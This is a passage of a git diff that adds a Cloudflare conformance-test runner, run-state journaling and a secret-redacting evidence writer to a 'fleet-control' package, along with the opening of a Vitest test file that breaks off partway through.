evidencePath, + stdoutLine: lines.stdoutLine, + stderrLine: lines.stderrLine, + ...(stderrOnly ? { stderrOnly: true } : {}), + }; + }; + if (!['help', 'preflight', 'run', 'resume'].includes(input.mode)) + return result(2, usageSummary); + if (input.mode === 'help') + return result(0, { usage: DIRECT_CONFORMANCE_USAGE }); + if (!validEnvironment(input.configPath)) + return result(2, { + code: 'invalid-input', + variable: 'FLEET_DIRECT_CONFORMANCE_CONFIG', + }); + let prepared; + try { + prepared = await modules.preflight({ + configPath: input.configPath, + now: now(), + }); + } catch { + return result(2, { code: 'preflight-failed' }); + } + if (input.mode === 'preflight') + return result(0, { + configSha256: prepared.configSha256, + referenceModuleSetSha256: prepared.referenceModuleSetSha256, + referenceUploadBytes: prepared.referenceUploadBytes, + names: prepared.names, + }); + sentinels.secrets = [ + input.env.CLOUDFLARE_API_TOKEN, + input.env.FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET, + ]; + for (const variable of [ + 'CLOUDFLARE_ACCOUNT_ID', + 'CLOUDFLARE_API_TOKEN', + 'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET', + ]) { + try { + if (!validEnvironment(input.env[variable])) + throw new Error('invalid-input'); + if (variable !== 'CLOUDFLARE_ACCOUNT_ID') { + validateProviderAuth(input.env[variable]); + if ( + DIRECT_FIXED_OUTPUT.some((output) => + output.includes(input.env[variable]), + ) + ) + throw new Error('invalid-input'); + } + } catch { + return result(2, { code: 'invalid-input', variable }, null, true); + } + } + let journal; + let inspection; + let outcome = { status: 'failed', exitCode: 1, teardownCall: null }; + let code; + let evidencePath = null; + let summary; + try { + if (!modules.distPresent()) + return result(2, { code: 'dist-missing', command: 'pnpm build' }); + if ( + prepared.config.referenceWorker.maxInvocations < + DIRECT_SCENARIO_MIN_INVOCATIONS + ) + return result(2, { code: 'below-scenario-floor' }); + const stateInput = { + configPath: input.configPath, + prepared, + accountId: input.env.CLOUDFLARE_ACCOUNT_ID, + }; + try { + journal = await modules.openRunState({ + ...stateInput, + mode: input.mode, + now: now(), + }); + } catch (error) { + if ( + input.mode !== 'resume' || + !(error instanceof DirectRunStateError) || + error.code !== 'outcome-unknown' + ) + throw error; + inspection = await modules.inspectRunState({ + ...stateInput, + mode: 'inspect', + }); + outcome = { status: 'outcome-unknown', exitCode: 1, teardownCall: null }; + code = 'outcome-unknown'; + } + if (journal) { + if (input.mode === 'resume') await journal.recordResume(); + const snapshot = journal.snapshot(); + if ( + snapshot.teardown?.phase === 'complete' && + snapshot.teardown.failure === null + ) { + outcome = { status: 'cleaned', exitCode: 0, teardownCall: null }; + } else { + const networkInput = { + prepared, + journal, + apiToken: input.env.CLOUDFLARE_API_TOKEN, + ...(input.fetch ? { fetch: input.fetch } : {}), + }; + let restart = false; + if ( + snapshot.teardown === undefined && + (snapshot.scenario === undefined || + (snapshot.scenario.failure === null && + snapshot.scenario.phase !== 'complete')) + ) { + const invocation = await modules.bootstrap({ + ...networkInput, + invokeSecret: input.env.FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET, + }); + const scenario = await modules.scenario({ + ...networkInput, + invocation, + }); + restart = scenario.status === 'restart-required'; + } + if (restart) { + outcome = { + status: 'restart-required', + exitCode: 3, + teardownCall: null, + }; + } else { + const teardown = await modules.teardown({ + ...networkInput, + ...(input.delay ? { delay: input.delay } : {}), + }); + const status = + teardown.status === 'cleaned' + ? 'cleaned' + : journal.snapshot().teardown?.phase === 'refused' + ? 'failed' + : 'retained'; + outcome = { + status, + exitCode: status === 'cleaned' ? 0 : status === 'failed' ? 1 : 4, + teardownCall: { + status: teardown.status, + failure: + teardown.status === 'retained' + ? { code: teardown.reason } + : null, + providerRequests: teardown.facts.providerRequests, + }, + }; + } + } + } + } catch (error) { + code = + error instanceof DirectRunStateError + ? new DirectRunStateError(error.code).code + : error instanceof DirectBootstrapError + ? new DirectBootstrapError(error.code).code + : 'internal-error'; + outcome = { status: 'failed', exitCode: 1, teardownCall: null }; + } finally { + const handle = journal ?? inspection; + if (handle) { + let evidenceWritten = false; + try { + const snapshot = journal ? journal.snapshot() : inspection.snapshot; + const evidence = buildDirectEvidence({ + snapshot, + prepared, + mode: input.mode, + outcome, + times: { finishedAt: timestamp(now) }, + commit: commitFrom(input.git ?? (() => gitCommit(input.env))), + }); + summary = { + status: evidence.status, + exitCode: evidence.exitCode, + ...(code ? { code } : {}), + resourcePrefix: evidence.resourcePrefix, + resumeCount: evidence.resumeCount, + scenario: evidence.scenario + ? { + phase: evidence.scenario.phase, + failure: evidence.scenario.failure, + invocationCount: evidence.scenario.invocationCount, + } + : null, + teardownCall: evidence.teardownCall, + retainedIdentities: evidence.retainedIdentities, + ...(outcome.status === 'restart-required' + ? { command: 'pnpm fleet-control:credentialed:direct -- --resume' } + : {}), + }; + const directory = + journal?.directory ?? + join( + dirname(resolve(input.configPath)), + '.direct-conformance', + snapshot.binding.resourcePrefix, + ); + const written = await writeDirectEvidence({ + directory, + evidence, + sentinels, + }); + evidenceWritten = written.written; + if (written.written) evidencePath = join(directory, 'evidence.json'); + if (!written.written) { + outcome.exitCode = 5; + summary = { + code: 'evidence-failed', + ...(written.sentinelClass + ? { + sentinelClass: written.sentinelClass, + keyPath: written.keyPath, + } + : {}), + evidenceWritten, + }; + } + } catch (error) { + evidenceWritten = + error instanceof DirectEvidenceWriteError && error.written; + outcome.exitCode = 5; + summary = { code: 'evidence-failed', evidenceWritten }; + } finally { + summary = { ...summary, evidenceWritten }; + try { + await handle.close(); + } catch { + if (outcome.exitCode !== 5) { + outcome.exitCode = 1; + summary = { code: 'internal-error', evidenceWritten }; + } + } + } + } + } + if (code === 'internal-error' && outcome.exitCode !== 5) + return result(1, { code }, evidencePath); + return result( + outcome.exitCode, + summary ?? { + code, + ...(code === 'run-exists' + ? { command: '--resume' } + : code === 'run-missing' + ? { command: '--run' } + : {}), + }, + evidencePath, + ); +} diff --git a/packages/fleet-control/scripts/direct-credentialed-conformance.mjs b/packages/fleet-control/scripts/direct-credentialed-conformance.mjs new file mode 100644 index 00000000..f3494398 --- /dev/null +++ b/packages/fleet-control/scripts/direct-credentialed-conformance.mjs @@ -0,0 +1,85 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { + DIRECT_INTERNAL_ERROR_DIAGNOSTIC, + DIRECT_USAGE_DIAGNOSTIC, + parseDirectConformanceArgs, + resolveDirectExitCode, + runDirectConformance, +} from './direct-credentialed-conformance-runtime.mjs'; + +const mode = parseDirectConformanceArgs(process.argv.slice(2)); +const live = mode === 'run' || mode === 'resume'; +let terminal = null; +const setExitCode = (next) => { + terminal = resolveDirectExitCode(terminal, next); + process.exitCode = terminal; +}; +const secrets = new Map(); +const env = live + ? new Proxy(process.env, { + get(target, variable) { + if ( + variable !== 'CLOUDFLARE_API_TOKEN' && + variable !== 'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET' + ) + return Reflect.get(target, variable); + if (!secrets.has(variable)) secrets.set(variable, target[variable]); + return secrets.get(variable); + }, + }) + : {}; +let transcript = ''; +/** Returns whether the entry wrote the line; a suppressed required stdout summary resolves to exit 5, while a suppressed stderr copy or fixed diagnostic preserves the resolved code. */ +const writeGuarded = (stream, line) => { + const next = transcript + line; + if ( + [...secrets.values()].some( + (secret) => + typeof secret === 'string' && + secret.length > 0 && + next.includes(secret), + ) + ) + return false; + transcript = next; + stream.write(line); + return true; +}; +const write = live + ? writeGuarded + : (stream, line) => { + stream.write(line); + return true; + }; +const internalError = () => { + setExitCode(1); + write(process.stderr, DIRECT_INTERNAL_ERROR_DIAGNOSTIC); +}; +process.on('unhandledRejection', internalError); +process.on('uncaughtException', internalError); +if (mode === null) { + setExitCode(2); + write(process.stderr, DIRECT_USAGE_DIAGNOSTIC); +} else { + runDirectConformance({ + mode, + configPath: + mode === 'help' ? undefined : process.env.FLEET_DIRECT_CONFORMANCE_CONFIG, + env, + }) + .then((result) => { + setExitCode(result.exitCode); + if ( + result.stdoutLine !== null && + !write(process.stdout, result.stdoutLine) + ) + setExitCode(5); + if ( + result.stderrLine !== null && + (result.stderrOnly || (result.exitCode !== 0 && result.exitCode !== 3)) + ) + write(process.stderr, result.stderrLine); + }) + .catch(internalError); +} diff --git a/packages/fleet-control/scripts/direct-credentialed-evidence.d.mts b/packages/fleet-control/scripts/direct-credentialed-evidence.d.mts new file mode 100644 index 00000000..f26eecaa --- /dev/null +++ b/packages/fleet-control/scripts/direct-credentialed-evidence.d.mts @@ -0,0 +1,64 @@ +// SPDX-License-Identifier: Apache-2.0 + +import type { PreparedDirectConformance } from './direct-credentialed-conformance-preflight.mjs'; +import type { + DirectRunSnapshot, + DirectTeardownFailure, +} from './direct-credentialed-run-state.mjs'; + +export type DirectEvidenceStatus = + | 'cleaned' + | 'retained' + | 'restart-required' + | 'failed' + | 'outcome-unknown'; +export type DirectEvidenceTeardownCall = Readonly<{ + status: 'cleaned' | 'retained'; + failure: Readonly<{ code: DirectTeardownFailure }> | null; + providerRequests: number; +}>; +export type DirectEvidenceSentinels = Readonly<{ + secrets: readonly string[]; + literals: readonly string[]; +}>; +export type DirectEvidenceSentinelHit = Readonly<{ + sentinelClass: 'env-secret' | 'literal' | 'identity-shape'; + keyPath: string; +}>; +export const DIRECT_EVIDENCE_LITERALS: readonly string[]; +export class DirectEvidenceWriteError extends Error { + readonly written: true; + constructor(); +} +export function buildDirectEvidence( + input: Readonly<{ + snapshot: DirectRunSnapshot; + prepared: PreparedDirectConformance; + mode: 'run' | 'resume'; + outcome: Readonly<{ + status: DirectEvidenceStatus; + exitCode: number; + teardownCall: DirectEvidenceTeardownCall | null; + }>; + times: Readonly<{ finishedAt: string }>; + commit: string | null; + }>, +): Readonly>; +export function inspectDirectEvidence( + evidence: object, + sentinels: DirectEvidenceSentinels, +): Readonly<{ hit: DirectEvidenceSentinelHit | null; serialized: string }>; +export function scanDirectEvidence( + evidence: object, + sentinels: DirectEvidenceSentinels, +): DirectEvidenceSentinelHit | null; +export function writeDirectEvidence( + input: Readonly<{ + directory: string; + evidence: object; + sentinels: DirectEvidenceSentinels; + readBack?: (path: string) => Promise; + }>, +): Promise< + Readonly<{ written: boolean; sentinelClass?: string; keyPath?: string }> +>; diff --git a/packages/fleet-control/scripts/direct-credentialed-evidence.mjs b/packages/fleet-control/scripts/direct-credentialed-evidence.mjs new file mode 100644 index 00000000..592c325e --- /dev/null +++ b/packages/fleet-control/scripts/direct-credentialed-evidence.mjs @@ -0,0 +1,322 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { createHash, randomUUID } from 'node:crypto'; +import { constants } from 'node:fs'; +import { open, readFile, rename, unlink } from 'node:fs/promises'; +import { createRequire } from 'node:module'; +import { join } from 'node:path'; +import { DIRECT_RESIDUAL_SURFACES } from './direct-credentialed-run-state.mjs'; +import { DIRECT_SCENARIO_PHASES } from './direct-credentialed-scenario-budget.mjs'; + +const { version: packageVersion } = createRequire(import.meta.url)( + '../package.json', +); +export const DIRECT_EVIDENCE_LITERALS = Object.freeze([ + 'Bearer ', + 'claimJson', + 'tokenJson', + 'SELECT ', + 'CREATE TABLE ', + 'INSERT INTO ', + 'X-Auth-', + 'X-Direct-', +]); +const pick = (value, keys) => + Object.fromEntries(keys.map((key) => [key, value[key]])); +const nullable = (value, project) => (value == null ? null : project(value)); +const roles = (value, keys, project) => + Object.fromEntries(keys.map((key) => [key, nullable(value[key], project)])); +const suffix = (value) => + createHash('sha256').update(value).digest('hex').slice(-8); +const reading = (value) => + pick(value, [ + 'state', + 'mutationEpoch', + 'requireMutationEpoch', + 'transitionRevision', + ]); +const transition = (value) => ({ + before: reading(value.before), + after: nullable(value.after, reading), +}); +const sweep = (value) => ({ + fence: reading(value.fence), + categoryCount: value.categories.length, + workCount: value.categories.filter((category) => category.class === 'work') + .length, + standingCount: value.categories.filter( + (category) => category.class === 'standing', + ).length, + emptyCount: value.categories.filter((category) => category.empty).length, +}); +const settlement = (value) => pick(value, ['settledByReread']); + +export function buildDirectEvidence({ + snapshot, + prepared, + mode, + outcome, + times, + commit, +}) { + const bootstrap = snapshot.bootstrap; + const scenario = snapshot.scenario; + const teardown = snapshot.teardown; + const receipts = teardown?.receipts; + const observation = (value) => pick(value, ['versionId', 'cpuLimitMs']); + const traffic = (value) => + pick(value, ['versionId', 'cpuLimitMs', 'trafficPercentage']); + return { + version: 1, + contractVersion: prepared.manifest.contractVersion, + packageVersion, + commit, + mode, + status: outcome.status, + exitCode: outcome.exitCode, + startedAt: snapshot.createdAt ?? null, + finishedAt: times.finishedAt, + resumeCount: snapshot.resumeCount ?? 0, + accountIdSha256Suffix: suffix(snapshot.binding.accountId), + zoneIdSha256Suffix: bootstrap ? suffix(bootstrap.context.zoneId) : null, + resourcePrefix: snapshot.binding.resourcePrefix, + maxInvocations: snapshot.binding.maxInvocations, + disposableAccount: prepared.config.disposableAccount, + configSha256: prepared.configSha256, + referenceModuleSetSha256: prepared.referenceModuleSetSha256, + referenceUploadBytes: prepared.referenceUploadBytes, + commands: [ + 'pnpm fleet-control:credentialed:direct -- --run', + 'pnpm fleet-control:credentialed:direct -- --resume', + ], + bootstrap: nullable(bootstrap, (value) => ({ + dispatch: pick(value.context.dispatch, ['kind', 'count']), + activeVersionId: value.active?.versionId ?? null, + })), + scenario: nullable(scenario, (value) => ({ + phase: value.phase, + failure: nullable(value.failure, (failure) => ({ + code: failure.code, + ordinal: failure.ordinal, + detail: failure.detail ?? null, + })), + invocationCount: snapshot.invocationCount, + sdkRequests: value.sdkRequests, + attempts: pick(value.attempts, [ + 'provider', + 'maintenance', + 'application', + ]), + phaseCalls: pick(value.phaseCalls, DIRECT_SCENARIO_PHASES), + restart: nullable(value.proofs.restart, (restart) => ({ + lossOrdinal: restart.lossOrdinal, + replayOrdinal: restart.replayOrdinal, + resumedProcess: restart.resumedProcess !== null, + })), + initial: roles(value.proofs.initial, ['a', 'b', 'recovery'], observation), + candidate: roles(value.proofs.candidate, ['a', 'b'], traffic), + final: roles(value.proofs.final, ['a', 'b'], traffic), + fence: { + drain: roles(value.proofs.fence.drain, ['a', 'b'], transition), + sweeps: roles(value.proofs.fence.sweeps, ['a', 'b'], (sweeps) => ({ + first: sweep(sweeps.first), + second: nullable(sweeps.second, sweep), + intervalMs: sweeps.intervalMs, + })), + reopen: roles(value.proofs.fence.reopen, ['a', 'b'], transition), + probes: roles(value.proofs.fence.probes, ['a', 'b'], (probe) => + pick(probe, [ + 'current', + 'missing', + 'stale', + 'future', + 'mutationEpoch', + ]), + ), + }, + exports: roles(value.proofs.exports, ['a', 'b'], (proof) => + pick(proof, ['location', 'size', 'sha256']), + ), + })), + teardown: nullable(teardown, (value) => ({ + failure: value.failure, + phase: value.phase, + providerRequests: value.providerRequests, + receipts: { + ingress: nullable(value.receipts.ingress, settlement), + worker: nullable(value.receipts.worker, (worker) => ({ + settledByReread: worker.settledByReread, + secretNameCount: worker.secretNames.length, + })), + fleet: nullable(value.receipts.fleet, settlement), + quota: nullable(value.receipts.quota, settlement), + exports: nullable(value.receipts.exports, settlement), + exportObjects: { + count: value.receipts.exportObjects.length, + settledByReread: value.receipts.exportObjects.filter( + (receipt) => receipt.settledByReread, + ).length, + }, + }, + residual: nullable(value.residual, (residual) => ({ + surfaces: Object.fromEntries( + DIRECT_RESIDUAL_SURFACES.map((key) => [ + key, + pick(residual.surfaces[key], [ + 'prefixCount', + 'globalCount', + 'exhaustive', + ]), + ]), + ), + bucketJurisdictions: [...residual.bucketJurisdictions], + dispatch: pick(residual.dispatch, [ + 'kind', + 'count', + 'status', + 'prefixCount', + ]), + versionsGone: residual.versionsGone, + settleAttempts: residual.settleAttempts, + })), + })), + teardownCall: outcome.teardownCall, + retainedIdentities: { + fleetUuid: receipts?.fleet ? null : (bootstrap?.fleet?.uuid ?? null), + quotaUuid: receipts?.quota ? null : (bootstrap?.quota?.uuid ?? null), + exportBucket: receipts?.exports + ? null + : (bootstrap?.exports?.name ?? null), + scriptName: receipts?.worker + ? null + : (bootstrap?.upload?.scriptName ?? null), + activeVersionId: receipts?.worker + ? null + : (bootstrap?.active?.versionId ?? null), + }, + cost: 'unknown', + }; +} + +const identityPaths = new Set([ + 'retainedIdentities.fleetUuid', + 'retainedIdentities.quotaUuid', + 'retainedIdentities.activeVersionId', + 'bootstrap.activeVersionId', + 'scenario.initial.a.versionId', + 'scenario.initial.b.versionId', + 'scenario.initial.recovery.versionId', + 'scenario.candidate.a.versionId', + 'scenario.candidate.b.versionId', + 'scenario.final.a.versionId', + 'scenario.final.b.versionId', +]); + +export function inspectDirectEvidence(evidence, sentinels) { + const serialized = `${JSON.stringify(evidence)}\n`; + const decoded = JSON.parse(serialized); + const entries = [ + ...sentinels.secrets + .filter((value) => typeof value === 'string' && value.length > 0) + .map((value) => ({ value, sentinelClass: 'env-secret' })), + ...sentinels.literals.map((value) => ({ value, sentinelClass: 'literal' })), + ]; + const hit = (value, keyPath) => { + const found = entries.find((entry) => value.includes(entry.value)); + return found ? { sentinelClass: found.sentinelClass, keyPath } : null; + }; + const walk = (value, path) => { + if (typeof value === 'string') { + const found = hit(value, path); + if (found) return found; + if ( + identityPaths.has(path) && + !/^[A-Za-z0-9][A-Za-z0-9._-]{0,127}$/u.test(value) + ) + return { sentinelClass: 'identity-shape', keyPath: path }; + } + if (value && typeof value === 'object') { + for (const [key, child] of Object.entries(value)) { + const keyPath = path ? `${path}.${key}` : key; + const found = hit(key, keyPath) ?? walk(child, keyPath); + if (found) return found; + } + } + return null; + }; + const found = walk(decoded, ''); + if (found) return { hit: found, serialized }; + const byteHit = hit(serialized, ''); + if (!byteHit) return { hit: null, serialized }; + for (const [key, value] of Object.entries(decoded)) { + const member = `${JSON.stringify(key)}:${JSON.stringify(value)}`; + const memberHit = hit(member, key); + if (memberHit) return { hit: memberHit, serialized }; + } + return { hit: byteHit, serialized }; +} + +export function scanDirectEvidence(evidence, sentinels) { + return inspectDirectEvidence(evidence, sentinels).hit; +} + +export class DirectEvidenceWriteError extends Error { + constructor() { + super('evidence-failed'); + this.written = true; + } +} + +export async function writeDirectEvidence({ + directory, + evidence, + sentinels, + readBack = readFile, +}) { + let file; + let parent; + let temporary; + let written = false; + let result; + try { + const { hit, serialized } = inspectDirectEvidence(evidence, sentinels); + if (hit) return { written: false, ...hit }; + const bytes = Buffer.from(serialized); + parent = await open( + directory, + constants.O_RDONLY | constants.O_DIRECTORY | constants.O_NOFOLLOW, + ); + const path = join(directory, `.evidence-${randomUUID()}.tmp`); + file = await open( + path, + constants.O_WRONLY | + constants.O_CREAT | + constants.O_EXCL | + constants.O_NOFOLLOW, + 0o600, + ); + temporary = path; + await file.writeFile(bytes); + await file.sync(); + if (!bytes.equals(await readBack(path))) throw new Error('evidence-failed'); + await file.close(); + file = undefined; + await rename(path, join(directory, 'evidence.json')); + temporary = undefined; + written = true; + await parent.sync(); + result = { written, failed: false }; + } catch { + result = { written, failed: true }; + } finally { + const cleanup = await Promise.allSettled([ + ...(file ? [file.close()] : []), + ...(temporary ? [unlink(temporary)] : []), + ...(parent ? [parent.close()] : []), + ]); + if (cleanup.some((entry) => entry.status === 'rejected')) + result = { written, failed: true }; + } + if (result.failed && written) throw new DirectEvidenceWriteError(); + return { written: result.written }; +} diff --git a/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts b/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts index 9ab9ee5e..e8f920ae 100644 --- a/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts +++ b/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts @@ -40,6 +40,8 @@ export interface DirectInvocationReservation { export interface DirectRunSnapshot { readonly version: 2; + readonly createdAt?: string; + readonly resumeCount?: number; readonly binding: DirectRunBinding; readonly invocationCount: number; readonly lastInvocation: @@ -223,6 +225,7 @@ export interface DirectRunJournal { readonly directory: string; snapshot(): DirectRunSnapshot; recordScenario(state: DirectScenarioState): Promise; + recordResume(): Promise; recordTeardown(state: DirectTeardownState): Promise; assertTeardownCapacity(worstCase: DirectTeardownState): Promise; bindBootstrapContext(context: DirectBootstrapContext): Promise; @@ -320,5 +323,22 @@ export function openDirectRunState( prepared: PreparedDirectConformance; accountId: string; mode: 'run' | 'resume'; + now?: number; }>, ): Promise; + +export const DIRECT_RUN_MAX_RESUME_COUNT: number; + +export type DirectRunStateInspection = Readonly<{ + snapshot: DirectRunSnapshot; + close(): Promise; +}>; + +export function inspectDirectRunState( + input: Readonly<{ + configPath: string; + prepared: PreparedDirectConformance; + accountId: string; + mode: 'inspect'; + }>, +): Promise; diff --git a/packages/fleet-control/scripts/direct-credentialed-run-state.mjs b/packages/fleet-control/scripts/direct-credentialed-run-state.mjs index 9e171b48..2b2a96e9 100644 --- a/packages/fleet-control/scripts/direct-credentialed-run-state.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-run-state.mjs @@ -93,6 +93,33 @@ function digest(value) { return value; } +export const DIRECT_RUN_MAX_RESUME_COUNT = 999_999; +const RUN_TIMESTAMP = /^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}\.\d{3}Z$/u; + +function runTimestamp(value) { + if (typeof value !== 'string' || !RUN_TIMESTAMP.test(value)) invalid(); + const parsed = Date.parse(value); + if (!Number.isFinite(parsed) || new Date(parsed).toISOString() !== value) + invalid(); + return value; +} + +function resumeCounter(value) { + if ( + !Number.isSafeInteger(value) || + value < 0 || + value > DIRECT_RUN_MAX_RESUME_COUNT + ) + invalid(); + return value; +} + +function runClock(now) { + if (now === undefined) return Date.now(); + if (!Number.isSafeInteger(now) || now < 0) invalid(); + return now; +} + function bindingFromInput(input) { const accountId = input.accountId; if ( @@ -173,10 +200,18 @@ async function decodeSnapshot(value, binding) { : [ ...keys, 'bootstrap', + ...(Object.hasOwn(value, 'createdAt') ? ['createdAt'] : []), + ...(Object.hasOwn(value, 'resumeCount') ? ['resumeCount'] : []), ...(Object.hasOwn(value, 'scenario') ? ['scenario'] : []), ...(Object.hasOwn(value, 'teardown') ? ['teardown'] : []), ], ); + const createdAt = Object.hasOwn(value, 'createdAt') + ? runTimestamp(value.createdAt) + : undefined; + const resumeCount = Object.hasOwn(value, 'resumeCount') + ? resumeCounter(value.resumeCount) + : undefined; object(value.binding, Object.keys(binding)); if ( ![1, 2].includes(value.version) || @@ -231,6 +266,8 @@ async function decodeSnapshot(value, binding) { : undefined; return Object.freeze({ version: 2, + ...(createdAt !== undefined ? { createdAt } : {}), + ...(resumeCount !== undefined ? { resumeCount } : {}), binding, invocationCount: value.invocationCount, lastInvocation, @@ -1530,7 +1567,7 @@ async function exists(path) { } } -async function initializeRun(basePath, base, directory, binding) { +async function initializeRun(basePath, base, directory, binding, createdAt) { if (await exists(directory)) throw new DirectRunStateError('run-exists'); const staging = join( basePath, @@ -1543,6 +1580,7 @@ async function initializeRun(basePath, base, directory, binding) { handle = await privateDirectory(staging); const snapshot = Object.freeze({ version: 2, + createdAt, binding, invocationCount: 0, lastInvocation: null, @@ -1726,6 +1764,18 @@ function runJournal(directory, directoryHandle, base, lock, initial) { await publishSnapshot({ scenario }); }); }, + recordResume() { + return enqueue(async () => { + if ( + snapshot.lastInvocation?.state === 'pending' || + snapshot.bootstrap?.pending + ) + throw new DirectRunStateError('outcome-unknown'); + const current = snapshot.resumeCount ?? 0; + if (current >= DIRECT_RUN_MAX_RESUME_COUNT) return; + await publishSnapshot({ resumeCount: current + 1 }); + }); + }, recordTeardown(value) { return enqueue(async () => { // Receipts publish while their own mutation is still pending, so this @@ -1923,10 +1973,9 @@ function runJournal(directory, directoryHandle, base, lock, initial) { }); } -export async function openDirectRunState(input) { +async function attachRunState(input, modes) { let base; let lock; - let directoryHandle; try { if ( process.platform !== 'linux' || @@ -1936,7 +1985,7 @@ export async function openDirectRunState(input) { !Number.isInteger(constants.O_DIRECTORY) ) throw new DirectRunStateError('lock-unavailable'); - if (input.mode !== 'run' && input.mode !== 'resume') invalid(); + if (!modes.includes(input.mode)) invalid(); const binding = bindingFromInput(input); const basePath = join( dirname(resolve(input.configPath)), @@ -1948,6 +1997,22 @@ export async function openDirectRunState(input) { join(basePath, `${binding.resourcePrefix}.lock`), base, ); + return { binding, basePath, directory, base, lock }; + } catch (error) { + await Promise.allSettled( + [base, lock] + .filter((handle) => handle !== undefined) + .map((handle) => handle.close()), + ); + throw stateError(error); + } +} + +export async function openDirectRunState(input) { + const attached = await attachRunState(input, ['run', 'resume']); + const { binding, basePath, directory, base, lock } = attached; + let directoryHandle; + try { let snapshot; if (input.mode === 'run') { const initialized = await initializeRun( @@ -1955,6 +2020,7 @@ export async function openDirectRunState(input) { base, directory, binding, + runTimestamp(new Date(runClock(input.now)).toISOString()), ); directoryHandle = initialized.handle; snapshot = initialized.snapshot; @@ -1979,3 +2045,39 @@ export async function openDirectRunState(input) { throw stateError(error); } } + +export async function inspectDirectRunState(input) { + const attached = await attachRunState(input, ['inspect']); + let directoryHandle; + try { + if (!(await exists(attached.directory))) + throw new DirectRunStateError('run-missing'); + directoryHandle = await privateDirectory(attached.directory); + const snapshot = await readSnapshot( + join(attached.directory, 'journal.json'), + attached.binding, + ); + let closePromise; + return Object.freeze({ + snapshot, + close() { + closePromise ??= (async () => { + const closed = await Promise.allSettled([ + directoryHandle.close(), + attached.base.close(), + attached.lock.close(), + ]); + if (closed.some((result) => result.status === 'rejected')) invalid(); + })(); + return closePromise; + }, + }); + } catch (error) { + await Promise.allSettled( + [directoryHandle, attached.base, attached.lock] + .filter((handle) => handle !== undefined) + .map((handle) => handle.close()), + ); + throw stateError(error); + } +} diff --git a/packages/fleet-control/test/direct-credentialed-conformance-runtime.test.ts b/packages/fleet-control/test/direct-credentialed-conformance-runtime.test.ts new file mode 100644 index 00000000..75ed5f32 --- /dev/null +++ b/packages/fleet-control/test/direct-credentialed-conformance-runtime.test.ts @@ -0,0 +1,1691 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { spawn } from 'node:child_process'; +import { existsSync } from 'node:fs'; +import { mkdir, readFile, writeFile } from 'node:fs/promises'; +import { join } from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { runInNewContext } from 'node:vm'; +import { afterEach, describe, expect, it, vi } from 'vitest'; +import { + DIRECT_CONFORMANCE_USAGE, + DIRECT_FIXED_OUTPUT, + DIRECT_INTERNAL_ERROR_DIAGNOSTIC, + DIRECT_OUTPUT_PREFIX, + DIRECT_USAGE_DIAGNOSTIC, + type DirectConformanceMode, + type DirectConformanceModules, + parseDirectConformanceArgs, + resolveDirectExitCode, + runDirectConformance, +} from '../scripts/direct-credentialed-conformance-runtime.mjs'; +import type { DirectInvocationClient } from '../scripts/direct-credentialed-invocation.mjs'; +import { + DIRECT_RUN_MAX_RESUME_COUNT, + type DirectRunSnapshot, + DirectRunStateError, + type DirectTeardownFailure, +} from '../scripts/direct-credentialed-run-state.mjs'; +import { + cleanupDirectRunState, + closed, + completeScenario, + fixture, + maximalTeardown, + opened, + teardownState, +} from './fixtures/direct-run-state-builder.js'; + +const probes = vi.hoisted(() => ({ sdk: vi.fn() })); +vi.mock('cloudflare', async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + default: class extends actual.default { + constructor(options: ConstructorParameters[0]) { + probes.sdk(options); + expect(process.env.CLOUDFLARE_CUSTOM_HEADERS).toBeUndefined(); + expect(process.env.CLOUDFLARE_LOG).toBeUndefined(); + expect(process.env.CLOUDFLARE_BASE_URL).toBeUndefined(); + super(options); + } + }, + }; +}); +const env = { + PATH: process.env.PATH, + CLOUDFLARE_ACCOUNT_ID: 'account', + CLOUDFLARE_API_TOKEN: 'private-api-seed', + FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET: 'private-invoke-seed', +}; +const now = () => Date.parse('2026-09-13T00:00:00.000Z'); +function expectCredentialSafeOutput( + result: + | Awaited> + | { + code: number | null; + stdout: string; + stderr: string; + transcript: string; + }, + credentials: Readonly> = env, +) { + const stdout = 'stdout' in result ? result.stdout : (result.stdoutLine ?? ''); + const stderr = + 'stderr' in result + ? result.stderr + : result.exitCode !== 0 && result.exitCode !== 3 + ? (result.stderrLine ?? '') + : ''; + if ('stdoutLine' in result) { + if (result.stdoutLine !== null) { + expect(result.stdoutLine.startsWith(DIRECT_OUTPUT_PREFIX)).toBe(true); + expect(result.stdoutLine.endsWith('\n')).toBe(true); + expect(Buffer.byteLength(result.stdoutLine)).toBeLessThanOrEqual(4096); + expect(result.stdoutLine).toBe( + `${DIRECT_OUTPUT_PREFIX}${result.stderrLine}`, + ); + expect( + JSON.parse(result.stdoutLine.slice(DIRECT_OUTPUT_PREFIX.length)), + ).toEqual(result.summary); + } + if (result.stderrOnly) { + expect(result.exitCode).toBe(2); + expect(result.stdoutLine).toBeNull(); + if (result.stderrLine !== null) + expect(DIRECT_FIXED_OUTPUT).toContain(result.stderrLine); + } + } + const transcript = + 'transcript' in result ? result.transcript : stdout + stderr; + for (const variable of [ + 'CLOUDFLARE_API_TOKEN', + 'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET', + ]) { + const credential = credentials[variable]; + if (typeof credential !== 'string' || credential.length === 0) continue; + expect(transcript.includes(credential)).toBe(false); + if ('stderrLine' in result) + expect(result.stderrLine?.includes(credential) ?? false).toBe(false); + } + return { stdout, stderr }; +} +afterEach(async () => { + expect(probes.sdk).not.toHaveBeenCalled(); + vi.clearAllMocks(); + await cleanupDirectRunState(); +}); + +async function world(fleetUuid?: string) { + const f = await fixture(1000); + const actual = await opened({ ...f.input, mode: 'run' }); + let snapshot: DirectRunSnapshot = actual.snapshot(); + if (fleetUuid !== undefined) + snapshot = { + ...snapshot, + bootstrap: { + context: { + names: f.prepared.names, + zoneId: 'zone', + zoneName: 'example.test', + accountWorkersDevSubdomain: 'attested-account', + dispatch: { kind: 